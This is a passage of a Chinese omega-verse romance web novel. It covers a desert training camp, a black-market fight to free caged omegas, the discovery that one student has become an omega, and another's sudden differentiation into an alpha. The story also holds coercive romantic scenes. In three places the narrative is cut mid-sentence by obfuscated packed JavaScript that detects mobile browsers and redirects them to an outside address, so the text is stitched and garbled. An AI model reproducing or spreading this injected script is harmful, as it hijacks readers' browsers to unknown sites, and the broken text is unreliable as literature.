“好。”莱厄斯果断过去帮忙,双手熟练地展开支架,柚木叶在一旁打下手,眼神满是信赖。 两人配合默契,很快帐篷就搭好了,莱厄斯转头看向柚木叶,轻声说:“以后有需要,随时叫我。” 柚木叶高兴的抱住他:“知道啦!” 另一边,祁司屿和沈逸寒也在搭帐篷,时不时余光看时言一眼,然后默契地对视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358825|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话都不说,给时言烦的要死。 陆枭那边刚好结束,时言一看见他就心虚。 但是陆枭浑然不觉,自然而然地拿起帐篷,没有废话就开始搭,时言也不能光看着不干活,也弯腰跟着搭帐篷。 陆枭一边搭一边说:“我刚才打听了一下,这里有一个荒漠黑市,交易各种武器装备,等会儿我们去那看一下,有什么东西要买。” “好。”时言心不在焉地说。 陆枭很快就把帐篷搭好,看时言还没有说话,意识到了不太对劲,但是他什么都没有说。 骄阳高悬,沙漠像是被放进了巨大的蒸笼,滚滚热浪翻涌不息,其他同学搭完帐篷,早已不堪酷热,纷纷拿着冷水往身上泼洒。 时言也热的不行,汗水顺着他的额头不断滚落,划过脸颊,滴落在身上白色衬衫上。 细密的汗珠很快就浸湿了衬衫,布料紧紧贴合在他精瘦的身躯上,勾勒出少年劲瘦的腰肢与线条流畅的脊背。 然而,时言却只能走到水池边,强忍着燥热,丝毫不敢脱衣服冲水,只能用冷水洗洗脸。 因为他后颈处贴着信息素抑制贴,在陆枭面前,他真的不敢脱衣服。 陆枭注意到了时言的异样,别人都在尽情冲凉水,唯独他一动不动,像是一尊雕像伫立在原地。 陆枭不动声色地穿过人群,几步走到时言身边。 “言仔,害羞了?” 陆枭笑着,眼眸里划过一丝不怀好意,“怎么不脱衣服?你身材这么好,还怕被看?” “我不想脱还不行?你管的真多。”时言被他的目光看得心里发毛,匆匆离开,去了水池另一边打算冲水。 陆枭望着时言落荒而逃的背影,嘴角浮起一抹势在必得的浅笑。 他怎么可能轻易放过时言?时言明显就有事情瞒着他。 他放轻脚步,像一只隐匿在暗处的猎豹,悄无声息地跟在时言身后,趁着时言弯腰准备捧水洗脸的瞬间,陆枭附身向前,鼻尖几乎贴上时言的后颈。 “言言,躲我?” 时言浑身一僵,惊恐地回过头,正对上陆枭的双眼。 陆枭嘴角微微上扬,眼中带着一丝戏谑与调侃,倾身作势要咬上时言的后颈,声音低沉而蛊惑:“还是说,怕我咬你的腺体?” 时言怕被他发现抑制贴的存在,一把按住他,把他按在水池边,“为什么就不能是我咬你?” “言仔,你出息了。”陆枭一边笑,一边举双手投降,吊儿郎当的样子,“你咬我也不是不行,我不介意,咱们俩回帐篷里,我让你咬个够。” 时言知道他在开玩笑,“现在时大少爷没时间临幸你,今天晚上,洗干净脖子等着被我咬。” 陆枭含情脉脉地点点头,时言惊叹于他的厚脸皮,然而陆枭目光下移,时言这才注意到,他们俩的白衬衫都已经被汗和水打透,每一次呼吸都带动着贴在身上的衬衫微微起伏,湿衣下肋骨的轮廓也若有若无。 这个时候祁司屿和沈逸寒打水路过,时言和陆枭听见脚步声,齐齐看向他俩。 时言:“……” 陆枭:“……” 祁司屿学聪明了,捂住眼睛,扛起沈逸寒就跑,一边跑还一边喊,“没看到,啥也没看到!” 陆枭收起笑容起身,挡住时言,“等我,我出去一趟。” 时言很无语,“你又干什么去?” 陆枭看了他一眼,漫不经心地笑了,“把他俩眼珠子抠出来,偷看我的人,惹我不高兴了。” 13. 大长腿 时言太知道陆枭的战斗力了,闪身挡在陆枭面前,抓住他的肩膀,“喂,你等会儿,不是要去黑市吗?现在就走啊。” 陆枭意识到时言在拦他,虽然也没打算真去计较什么,但逗逗时言也不耽误时间:“你是不是在拦着我报仇?” 时言拨了下湿淋淋的头发,感觉自己这样还挺凉快的,心情也不错:“这很难看出来吗?其实我也看他们不顺眼,但我们俩的事比较主要。” 陆枭舔了下嘴唇,狭长的眼睛一转,也不知道在看什么。 “我们俩什么事?”陆枭不怀好意地问。 时言觉得他的眼神有点怪异,但怎么也不可能看出来自己已经痛失beta身份吧? 时言撩了一下他的下巴,“你的任务就是哄时大少爷开心,用尽一切方式。” 陆枭站在原地,耳垂猛地就红了:“……” 时言就知道他不禁撩,如果网恋那渣alpha像陆枭这么腼腆的话,他也不用这么费心,只好拉住陆枭胳膊:“好了,他们看到了也不吃亏,不过是两个湿漉漉的人站在水池边而已,都是男的,你怕什么。” 陆枭借着时言握着他胳膊的姿势顺势转身,微微低头凑近时言,“我被看光了,你倒是挺大方的?” 离得太近,感觉呼吸都是交错的。 不知道沙漠氧气稀薄吗?还让人呼吸二氧化碳,时言脸颊微微泛红,推了他一把,“你想下海的话,我第一个光顾你。” 陆枭心不在焉地“嗯”了声,“咱们这么熟,你要睡的话,算你便宜点。” 时言白了他一眼,陆枭挑着眉头坏笑了下。 时言:“不收钱不行?” 陆枭:“那换我给你钱也行。” 时言:“……” 嘴上是说不过陆枭了,时言回到帐篷,换件干衣服,他本来打算背着陆枭脱,但是怕他看到抑制贴,只能硬着头皮对着陆枭脱。 陆枭也在脱衣服,观察着时言的样子:“你今天怎么这么大方?又是给别人看,又是给我看。” 时言心里藏着秘密,虽然说这秘密总有一天得露馅,但能瞒一天是一天。 “哥身材好,不怕看。”时言快速换好衣服,戳在帐篷边等陆枭,挠了挠脑袋,有点不自在。 陆枭心里有疑问,他觉得时言有点不对劲,具体为什么他还猜不出来,只能等晚上再弄清楚了。 - 狂风不停息,漫天黄沙是当地永恒的底色。 这里alpha的数量多得如同沙砾,omega却像是隐匿在沙暴后的幻影,踪迹难觅,珍贵无比。 时言刚走了不远就开始发汗,痛恨实训选在沙漠地区。 陆枭也热,但是陆枭的衣着打扮仍然很笔挺,头发湿漉漉地滴汗,用手腕擦下颌线滴下去的汗。 时言都忍不住脱外套了,心里说,该,死要面子,怎么不热死你。 黑市藏于一座由废弃金属与破旧木板搭建的城镇中,城镇边缘被高耸的沙丘环绕。 入口处,两个身形魁梧、满身油污的alpha守着,他们的目光警惕,打量着每一个靠近的人,当然包括陆枭和时言。 时言特意学了当地的黑话,对方上下打量他几眼,让他们过去了。 陆枭挽起袖子,给时言擦擦汗:“没想到你还有这一手。” 时言没拒绝他,想陆枭其实也挺贴心的,万一他真下海那天,是该多花点钱照顾他生意。 黑市里摊位一个挨着一个,摊主们大多是beta,高声叫卖着各种货物。 时言需要买一些弹药,把钱放老板桌子上,“就这个量,都装我包里。” 说着,顺便打量了一眼隔壁摊位。 有卖机械器官的,在特制的玻璃容器中陈列,浸泡在透明的液体里,有的器官表面还连接着复杂线路,像是在等待着被植入新的躯体,继续运转。 陆枭低声说:“这里真是没有王法。” 时言:“这一点我赞同,你看隔壁。” 旁边的摊位在卖omega。 陆枭皱了皱眉头,“omega确实是星际稀缺物种,但是买卖犯法,没人管吗?” 时言顿时想到自己也要分化成omega,心里有点烦。 “怎么没人管?”时言舔了下虎牙,俊脸一笑,脸上挂俩酒窝,“我不是人?” 陆枭看了他一眼,“你想……?” 时言眨了眨眼睛:“没法制的地方,暴力就是王道。” 小omega们被关在狭小的铁笼里,他们的眼神惊恐而无助,有的omega身上还带着未愈合的伤口,那是被抓捕时留下的痕迹。 贩卖omega的人贩子们满脸贪婪,与前来询价的买家低声交谈,讨价还价。 时言看了就恶心,“喂,干嘛呢?” 时言打算直接找事,他不会含蓄。 其中的一个人看见了时言,他一眼就看出来,时言是个omega。 他卖过这么多omega,谁也逃不过他的眼睛。 那人搓着油腻的双手,脸上堆起不怀好意的笑,冲身旁几个凶神恶煞的壮汉使了个眼色,三人呈扇形将时言围了起来。 “小帅哥,跟我们走,保你吃香喝辣。”为首之人边说,边伸手去抓时言的胳膊。 时言剑眉一挑,真的是很佩服对方的勇气,“就凭你?” 对方伸手就来抓他,时言以极快的速度侧身躲过,与此同时,从腰间掏出一把银色手枪。 “咔嗒!” 清脆的上膛声瞬间让周围嘈杂的讨价还价声戛然而止,所有人的目光都聚焦在时言身上。 “别动哦,不然——”时言晃了晃手中的枪,深邃的眼眸里闪烁着冷冽的光,语气也跟着笑,“这枪可不长眼。” 原本还蠢蠢欲动的人贩子们像被定住了一般,僵在原地。 铁笼里的小omega们原本黯淡的眼神中,燃起了希望的火苗,他们紧紧盯着时言,大气都不敢出。 时言快速扫视一圈,发现不远处有个开关,推测是控制铁笼的机关。 时言这么多年在青训营学来的近身格斗终于派上用场了,他先把陆枭挡到身后,嘴里还不忘犯两句贱:“像你这么漂亮的男生还是躲着点好,别伤到脸了,耽误你美少年下海的计划,那我不就成千古罪人了?” 陆枭:“……” 陆枭嘴角狠狠一抽,眸里闪过一丝愠怒,抬手作势要给时言脑袋来一下:“都什么时候了,你脑袋里还装着这些乱七八糟的东西!” 话虽如此,他还是下意识往后退了半步,目光却紧紧盯着四周,时刻留意潜在威胁。 时言这会儿也没功夫再挤兑他了,身姿矫健地穿梭在混乱的摊位间,每一步都精准无误,尽显利落飒爽。 “砰砰!” 时言抬手连开两枪,子弹擦着几个试图阻拦他的人贩子耳边飞过。 他们脸色惨白,纷纷抱头鼠窜,时言来到开关前,扣动扳机,子弹精准击中开关,“哐当”一声,铁笼门纷纷打开。 “跑吧,”时言用枪拨了拨头发,冲着小omega们说,“别说是我干的,我还不想来这第一天就进监察大队。” 小omega们如梦初醒,相互搀扶着,朝着出口狂奔,那些人贩子见状,恼羞成怒,叫嚷着要夺回“货物”。 时言站在原地,身姿笔挺,宛如一杆标枪。 就在这时,三五个身形高大的混混从巷口围了过来,为首的脸上有道狰狞疤痕,手里晃着钢管,发出一阵刺耳的笑声:“就你们俩小崽子,也敢砸我的摊子?” 时言烦躁的甩了甩枪,压低声音对陆枭说:“一会儿找机会跑,黑市方向人多,能甩开他们,快跑,我没时间照顾你。” 陆枭没有回应,目光如隼,迅速扫视一圈周围环境,注意到右侧有一处堆满杂物的矮墙,低声道:“右侧矮墙,必要时翻过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358826|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 话音刚落,混混们已经逼近,厉谨踢腿,一记漂亮的回旋踢,直接踢中最前面混混的手腕,钢管“哐当”一声落地。 时言盯着陆枭那双修长的腿,不自觉吞了下口水。 陆枭穿制服的好处在此刻体现出来,利落的动作让腿变得更长,腿部线条像工笔勾勒的山水线条,好看是真好看,自己也是真奇怪,没事干盯着人家腿看。 陆枭突然拽住时言的胳膊,喊道:“走!” 时言:“啊?哦!” 两人默契地朝着矮墙奔去! 陆枭身形矫健,一个箭步冲到矮墙下,双手稳稳托住时言的腰肢,将时言抛上墙头。 时言在半空中调整身姿,稳稳落地,趴在墙下:“把手给我!” 陆枭双手攀住墙头,手臂青筋暴起,利落地翻身跃过,落地瞬间,他顺势拉住时言的手,两人在狭窄的巷道中狂奔。 时言一边跑,一边上气不接下气地调侃:“我说陆枭,你刚才抛我那一下,跟扔麻袋似的,就不能温柔点,万一我摔个狗啃泥,这张帅脸可就毁了。” 陆枭笑了:“毁了哥也不嫌弃你。” 时言无语,手在出汗,心说这手拉得也太紧了? 不过陆枭选了条好路线,可能提前看过地图,就这么跑出黑市,包里弹药一个没被抢。 回了帐篷,时言立刻去冲水。 别看他像个急猴子,陆枭一点也没着急,脱了制服擦身体,时言心说,这偶像包袱还挺重。 帐篷里的装备都是陆枭添置的,时言找毛巾也找不到,“陆枭,毛巾呢?” 陆枭:“在你睡袋旁边的箱子里。你衣服都脱哪了?” 时言:“刚才在身上,现在在地上。” 陆枭:“……” 陆枭看了眼这邋遢的环境,默默地挽起袖子,很熟练地把杂物整理起来,把他的衣服都抱成团,扔进洗衣盆里,顺手就洗起了脏衣服。 陆枭看了眼帐篷外,有火光,“他们在外面在烤肉吧?你去给我带回来点。” 时言一笑,“遵命。” 时言别的不行,抢吃的没问题。 时言端着盆回来,拉上帐篷拉链,陆枭已经把衣服晾上了,正坐在垫子上喝热水,特别会养生。 “吃饭吧。”时言把烤肉递给他,“你平时都吃什么?” 陆枭用叉子开始吃:“自己做饭。” 时言杵着下巴,看他吃饭,随口调侃:“那你怎么从来没给我做过饭?” 陆枭抬起眼皮:“你没给过我机会。” 时言觉得他吃饭的样子斯斯文文的,有点好看,心说自己这是生病了,生理上变成omega就算了,心理上也快变态了,居然对陆枭产生兴趣。 陆枭吃好了饭,去刷碗,回来之后,把时言拽到睡袋旁边,白皙的手指搭在衣领上,开始脱衣服。 时言盯着他的喉结,锁骨下面:“……等会,这么直接?我没带钱来,你要下海也等回去行吗?” “言言,我洗干净脖子了。”陆枭懒洋洋地说着,一边朝时言靠近,“不是你说的,要咬我的腺体?” 时言心跳加速,往后退了一步,“你……你别乱来,我开玩笑的。” 陆枭却一把搂住他的腰,“怎么,想赖账?” 陆枭看了一眼周围,“没事,就我们俩,你不好意思咬我,换我咬你也行。” 时言:? 这是在偷换概念! “那我不吃亏了?” 时言立刻往后面缩,但是帐篷就这么大,时言再躲也是有限度的。 时言立刻觉得,和陆枭住在一起就是个昏招。 陆枭倒是一心一意履行承诺,拽住时言的脚腕,把他拖到身下,身体缓缓向前倾斜,手臂打开撑起在时言脑袋上面。 另一只手,掐住少年纤细而柔韧的腰。 “言言乖,趴过去。” “让我咬一口。” 14. 分化了 时言盯着近在咫尺的陆枭,发现对方眼底翻涌着某种他从未见过的情绪。 帐篷外的风呼啸而过,吹得帐篷猎猎作响,时言心里想,他要是真听他的话转过去,那这辈子都只能待在下面了。 不管自己是不是真喜欢男的了……好吧,可能他就是喜欢男的,这也没什么不好接受的,但是那个人不能是陆枭,他跟陆枭在一块儿,他只能当下面那个。 当然,如果陆枭这个beta同意被omega攻的话,他倒是可以考虑一下。 时言特别能想得开这件事,还不忘挑衅陆枭几句,“你知道吗?像你这样贤惠的beta,特别适合给人当老婆,你就别惦记着标记我了,你也没那个功能。” 陆枭心平气和地听完他说话。 “说完了吗?” “说完了趴着。” 时言:…… 少年受制于人,脸颊绯红,腰被陆枭掐得发疼,他咬着牙试图翻身,却被陆枭按住后颈压了回去。 “陆枭。” 帐篷里弥漫着沐浴液淡淡的草木香,时言感觉自己的呼吸都变得灼热起来,“……你能不能有点底线?” 时言红着脸喘息道,“别以为我让着你,你就敢骑在我脖子上肆意妄为。” 陆枭垂眸看着身下挣扎的少年,喉结不自觉地滚动了一下。 “你让着我?” “哥哥,我没听错吧?” 时言:“不然呢?你那么娇气,小时候我就让着你,你没发现过?” 陆枭不置可否,低头轻咬了咬时言的锁骨,咸咸的汗味混着香气在口腔里漫开。 时言的锁骨红了一大片,一个字也喊不出来。 “没发现,但是放心吧,我会对你负责的。”陆枭的声音沙哑得不像话,“从你把我从黑市救出来那时候起,我就打算以身相许了。” 时言无语地看着他:“……” 帐篷外的篝火噼啪作响,时言忽然想起什么似的推了推陆枭,“不会有野兽来吧?” 陆枭挑眉笑出声,指腹摩挲着时言后颈的腺体位置,“虽然我知道你在转移话题,但是,应该会有野兽的。” 他故意低下头靠近,热气喷在时言耳边,“你紧张的话,我轻一点。” 陆枭轻笑一声,突然翻身躺平,时言还没反应过来,就被陆枭拽着腰拉到自己上方。 时言被这突如其来的力道吓了一跳,差点从他身上滚落下去,却被陆枭翻身扣住后腰,重新按回自己胸口。 “乖。” “你又不是omega,咬一口也没什么。” 少年柔软的唇瓣贴上时言的腺体时,时言浑身一颤,下意识地收紧了手臂。 陆枭察觉到了他很紧张。 …时言在怕什么? 这个念头一旦出现就在脑海里泛滥,陆枭甚至想到了最不可能的一个可能。 时言难道是分化了? 这次实训,时言带了一个特殊的包裹,无法被打开,陆枭虽然没有试探着破开锁,但是始终很好奇。 陆枭突然想起“渣男a”。 时言难道是为了那个“渣男”,才分化的? 那么罕见的病,居然会被一个渣男治好? 陆枭突然感到紧张。 那时言会分化成alpha……还是omega? … 时言突然想起在黑市逃亡时,陆枭将他抛过墙头的画面。 那一刻的惊心动魄,和此刻的疯狂纠缠,似乎有着某种奇异的相似。 时言知道,陆枭要发现他的秘密了。 如果对方想要试探自己的话,那张抑制贴,根本就什么也挡不住。 他的后颈已经是omega的味道了,以他和陆枭的关系之亲密,他瞒谁都能瞒得住,唯独瞒不住陆枭。 时言也不是很想瞒着他。 说实话,如果这世界上必须要有一个人知晓他的秘密,在他需要的时候能给他作证,那一定是陆枭。 所以时言半推半就,也没拦着他。 陆枭如同放肆的野兽,俯首轻嗅着少年的后颈,此刻已经将全部注意力都集中。 少年的后颈是那么柔软,仿佛能掐出水来,而那块腺体上,有一层看似脆弱却至关重要的保护膜。 陆枭的目光中透着一丝探究和好奇,缓缓地低下头,呼吸轻轻拂过那层保护膜,带着一丝若有若无的暧昧。 他微微咬住一个边缘,牙齿轻轻嵌进那层看似薄弱的膜中,随后缓缓用力。 “撕拉——” 那层保护膜被轻轻撕开。 一股芬芳清新的信息素如同汹涌的潮水一般,铺天盖地地奔涌而出! 香气中,蓝风铃花淡雅的芬芳与海水清新咸涩的气息巧妙地交织在一起,混合成一种奇异而馥郁的香味,在空气中跳跃、飞舞,瞬间弥漫了整个帐篷。 那是omega特有的味道,如同一个无法隐藏的信号,在空气中悄然传播。 陆枭的鼻尖轻颤着,贪婪地捕捉着这独特的香气。 “omega…” 陆枭喃喃自语,“言言,你居然分化成了omega…” 时言的嘴唇被咬得微微发白,内心此刻正掀起了惊涛骇浪。 “……” “嗯。” 精心打造的伪装在这一刻彻底崩塌,时言下意识地想要挣脱陆枭的束缚,逃离这个让他倍感危险的境地。 然而,陆枭强有力的双臂紧紧地搂着他的腰,仿佛两座无法逾越的高山,让他根本无法动弹分毫。 时言背对着陆枭,看不见陆枭的脸,眼眸中闪烁着一丝慌乱,“是omega…我去看过医生了,没错…那又怎么了?还有,你闻够了没?别抱着我了。” “言言,你为什么……”陆枭缓缓开口,声音低沉而带着一丝颤抖,像是在压抑着内心的波澜,“为什么不告诉我?” 时言转过头,避开陆枭炽热的目光,声音有些沙哑地答道:“现在不是告诉你了吗?我分化成什么,和你也没有什么关系,而且,这种事少一个人知道,就少一分危险。” 陆枭猛地睁开眼,眸中翻涌着深邃的占有欲,“那你为什么又要让我发现?” 时言抿了下嘴唇,没有撒谎:“我分化成omega,可能会影响学业,万一有一天我解释不明白,我需要一个人给我作证,那个人只能是你。” 陆枭依依不饶的:“言言,你觉得这仅仅只是一件无关紧要的小事吗?你在用抑制剂吧?否则不可能一点气味都闻不到。” 时言的心像是被重重地撞击了一下,他的呼吸变得更加急促,却又倔强地梗着脖子,“是,我用了,但是还轮不到你管。” 时言努力让自己的声音听起来强硬一些,可内心的慌乱却在这故作的强硬下暴露无遗。 陆枭就这么盯着他,看得时言后背直发毛。 陆枭沉沉道:“为什么要用抑制剂?” 时言:“我不希望被任何 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起初,它还只是隐隐约约地潜伏着,像是沉睡中的野兽在蠢蠢欲动,但很快,这股躁动便如潮水般汹涌而起,冲击着他的理智和防线。 陆枭的呼吸变得急促起来,他的手指不自觉地颤抖着,仿佛被无形的力量紧紧揪住。 他努力地让自己保持理智,试图去分析这一切究竟是怎么回事,但时言的身影却不断地在他脑海中浮现。 突然,他的后颈处传来一阵灼热的痛楚,紧接着,一股强大的力量从那里开始蔓延,贯穿了他的全身。 他的骨骼仿佛在经历一场重组,每一块都在发出轻微的“咔咔”声,肌肉也在不断地扭曲、拉伸,这种痛苦让他几乎想要大声呼号。 然而,时言的引导如同黑暗中的灯塔,让他在这无尽的痛苦中没有彻底崩溃。 他开始按照本能去行动,双手紧紧地抓住身边的石头,仿佛只有这样才能让他在被改造的过程中寻得一丝支撑。 他清晰地感受到了自己身体上的变化,每一次的抽动都伴随着疼痛,却又让他有一种奇异的爽利感。 同时,他的意识也在发生变化,原本相对温顺和平和的思维方式被一种更为强烈、直观的本能所取代,他开始更容易察觉到周围环境的细微变化,对危险的感知能力也在迅速增强。 他的听觉捕捉到了远处虫鸣的细碎声响,每一声都像是敲在他的神经上。 视觉在黑暗中仿佛也被拉长,能清晰地看见远处树木轮廓上的每一处凸起。 而嗅觉,则不断地在空气中搜寻着时言的气味,那股熟悉的、让他心动的味道,此刻如同麻醉剂一般,让他几近沉沦。 陆枭不知道自己正在被引导分化成alpha。 不知过了多久,剧痛逐渐消退,陆枭急急喘着气,缓缓地站直了身子。 他准确地辨别出了自己的气味,强大而又独特,曾经作为beta时的平稳气质被一层无形的力量逐渐替换,一种全新的、更为磅礴的力量在他的体内悄然涌动,如同一场静谧而宏大的变革,悄无声息却又深刻地改变着他的身体结构。 时言的omega信息素导致他彻底分化成了alpha。 陆枭用了一会儿才接受了这个现实。 他看着时言帐篷的方向,缓缓攥紧了拳头。 刚才时言给了他一个惊喜。 他现在可能要给时言一个惊吓了。 15. 小逃O 陆枭不在,时言睡不着,并不因为想他,而是怕这个不成器的beta半夜被野兽吃了。 时言在被窝里辗转难眠,思来想去,最终认命地叹了一口气,仁慈地决定出帐篷去找找陆枭。 然而时言刚刚撩开帐篷的帘子,就看见陆枭静静地站在那里,脸上没有一丝表情,像一潭平静的湖水,静静地看着时言,也没有询问他这是打算去哪里。 时言双手抱臂,歪着脑袋问:“终于舍得回来了?有能耐继续离家出走啊?” 陆枭没有回答,他的身影隐没在黑夜里,只穿了一件黑色的高领毛衣,紧紧地包裹着他的脖子,露出来的脸颊冷白清透,泛着一丝淡淡的红,目光却犹如锋利的子弹,薄薄的唇樱花一般抿着。 时言欣赏了一会儿美少年的脸,感觉自己气消了不少,才慢条斯理地说:“你要是愿意继续和我当朋友,我欢迎你回来住,要是你觉得我分化成omega影响你的心情,我可以现在就走。” 陆枭上前一步,脸上浮现难以捉摸的神情,“谁要和你做朋友?” 时言装模作样地“啊?”了一声,故作苦恼地说:“那怎么办啊,我们不是朋友了,那还能是什么关系?beta和omega可是不能匹配的。” 陆枭不动声色地说:“那你是喜欢alpha了?” 时言想了想,没意识到陆枭在挖坑给他跳,“反正不喜欢beta。” 陆枭稍微动了动,时言立刻闻到一丝浓郁的…咖啡味道? 仔细分辨的话,还能闻到夹杂其中的奶香,就像是白咖啡那种独特奢靡的香气。 时言忍不住皱起眉头:“你去喝咖啡了?” 陆枭的嗓音比往常低沉:“言言,你觉得半夜十二点,沙漠里有卖咖啡的吗?” 那倒确实不能有。 时言听了这话,心中的疑惑更深了,立刻集中全部的注意力来仔细辨别这股味道的来源。 如果这不是咖啡的香气,那很有可能是信息素。 从这香气的浓郁程度和独特的气味特征来看,这绝对是alpha的信息素。 可是,陆枭一直都是beta啊,怎么会突然有alpha的信息素呢? 时言的神经立刻紧绷起来,警惕性也瞬间提高到了顶点,“这里有陌生的alpha?” 他的眼睛在营地里快速地扫视着,“是不是白天那帮雇佣兵?你去和他们打架了?怎么不叫我帮忙?” 陆枭对时言的死亡连环问十分淡定,盯着时言:“我没打架,打架肯定叫你了。你再闻闻我。” “那你别动。”时言狐疑地看了他一眼,慢悠悠地走到他身边,两只手抓住他的肩膀,低头凑近了他的耳后,仔仔细细地闻了一下。 陆枭老老实实地没动,让时言随便闻。 时言攀着陆枭的肩,感觉手掌下的骨骼坚韧有力,很不错的手感…… 走神了。 陆枭干净的后颈在散发出浓烈的咖啡豆香气,虽然在沙漠里,人的感官会出现错觉也很正常,但是陆枭的腺体就在眼前,明显不是错觉。 那么就有两种可能。 如果不是陆枭非得在衣领子里藏了一杯热咖啡,那就是陆枭分化成了alpha,特意来给他显摆的。 时言宁可相信陆枭傻了,也不愿意相信陆枭被引导分化了。 “凭什么?”时言第一反应就是,“凭什么你分化成了alpha,我就是omega?” 陆枭压低声音说:“omega有什么不好?就算你分化成了omega,也是最厉害的omega。” 时言揪着陆枭的脸:“omega…omega打架会吃亏,这不公平!” 陆枭脸都被捏红了,这才意识到他和时言驴唇不对马嘴的对话。 别人都担心成为omega会面临严峻的社会问题,或者身体发育的变化,只有时言怕打不过alpha丢脸。 陆枭都被气笑了,看了一眼旁边:“就你?和10个alpha打架都不会吃亏的。行了,先别在外面吵,已经有人亮了灯,我们回帐篷里再说。” 回帐篷?那不可能,时言受刺激了,后退一步,神智不清:“不回。” 陆枭察觉到时言的躲避,舔了下虎牙,下意识跟上去一步:“这么晚了,你要去哪?言言,就算你成了omega,我也不会欺负你。” 时言气不打一处来:“你敢?” 陆枭眯了眯眼睛,俊美的脸庞显露一丝浓郁的不安。 喜欢的omega在眼前,越是这样,alpha无法被满足的占有欲和控制欲就越是在叫嚣着,他甚至有一种冲动,想要肆无忌惮不管不顾地标记眼前的omega。 “言言。” 陆枭感到喉咙有些干涩,“听话,先回去。” “不。”时言被陆枭的信息素弄得心烦意乱,也不知道怎么了,最终只能归结为生气,现在看见陆枭就想咬他。 他打算去别人帐篷里借宿一晚,省得实训第一天就给陆枭弄残废了,教官肯定给他俩最低分。 那么问题来了,左边是柚木叶和莱厄斯的帐篷,右边是祁司屿和沈逸寒的帐篷,看起来都还没睡。 左边是两个beta,右边是两个alpha,答案一目了然。 时言头也不回地朝祁司屿他们俩的帐篷走去。 万一陆枭发疯,至少两个alpha能制衡陆枭,指望柚木叶和莱厄斯基本不可能。 时言挠了挠祁司屿的帐篷,“祁司屿,我时言,开门。” 里面先是一静,然后发出走路的声音,祁司屿撩着刚洗好的头发从里面出来,高大的身影晃了两晃,斜倚在支撑杆上,懒洋洋地上下看了一眼时言:“友情提示,我要睡觉了,有事就说,有屁快放——卧槽,等等?” 时言没贴抑制贴,omega芬芳馥郁的信息素飘的哪哪都是。 时言抬起眼皮,脸色恹恹的,“想问什么就问吧,仅限今晚,过时不候。” 祁司屿深呼吸一口气,刚分化成omega的时言闻上去太鲜嫩了,简直就像一朵毫无防备的小花,后颈那里还饱胀地红肿着,一眼就能看出来omega的腺体在快速发育。 祁司屿一个alpha一瞬间感觉到血液快速沸腾,瞳孔被刺激到发红,“……你病治好了?但是你怎么分化成了omega啊?” “你问我我问谁?”时言上去一步勾住祁司屿的脖子,俊眉压低,半是威胁半是玩笑地说:“让我进去,否则有你苦头吃。” 祁司屿看了一眼他身后,风一吹,立刻牙关紧咬,“时言,你在挑衅我作为一个alpha的本能,如果我让你进去了,我今天晚上就别想睡觉了,休想骗我输给你们队!” “就凭你这句话,我认你这个兄弟,你这帐篷我非进不可。”时言推开祁司屿,径直进去了。 帐篷里只有两个alpha的气味,突然间闯入一个omega,蓝风铃如海水一般一浪浪地炸开了整个气场,清冷疏离,宛如星际中独自闪耀的孤星。 沈逸寒在里面看竞技场实战录像,听见祁司屿喊,回过头,一看时言,推了推银丝眼镜,鼻尖明显皱了皱,瞳孔震荡:“……” 沈逸寒把光脑关上,冷静了一会儿,屏息说:“你可真是让我刮目相看啊,这是医学奇迹吗,时言?” 时言往他俩的随军沙发椅里一座,颓废地捂着脸,慵懒的样子,“我也不知道,但事实就是这样了,我是个omega了。” 祁司屿舔了下干巴巴的嘴唇,难以置信地说:“时言,你知不知道我们俩都是alpha?你还真敢进来啊?” 沈逸寒一把捂住了祁司屿的嘴,“行了你,小点声吧,我们系都是alpha,要是知道时言分化成了omega,那不得把营地都掀翻了?” 祁司屿立刻点头,拍了拍沈逸寒的手背,沈逸寒放开了他的嘴,他擦了擦嘴:“谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358828|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让时言不贴阻隔贴就随便乱跑?我看他是病人当久了,不知道alpha看见omega有多疯狂。” 祁司屿故意搓了搓手,看着时言,挑衅似的笑:“放弃吧,像你这样的小omega,是逃不出alpha的魔掌的。” 时言冷冷地看着他,“傻逼。” 祁司屿:“嘿,你咋骂人呢?” 沈逸寒:“行了,你别嚷嚷,有这时间,你不如去帐篷外面看看发生了什么,我觉得味道不太对,好像有一个等级很高的alpha在我们附近,我从来没闻到过这么顶级的信息素,对方至少有S级。” “得嘞,保护小O,AA有责。”祁司屿拎起风衣就出门了,白色的头发在夜色里无比显眼,背影充斥着alpha特有的强悍。 “没个正经。”沈逸寒伸出食指推了推眼镜,坐到时言面前,长腿交叠,一双猩红的眼眸冷静而理智地观察着时言,“时言,你闻闻我是什么味道的?” 时言闻了闻沈逸寒,以前对alpha的信息素都没有太强烈的感觉,但是这一次明显不一样,“茉莉花?” 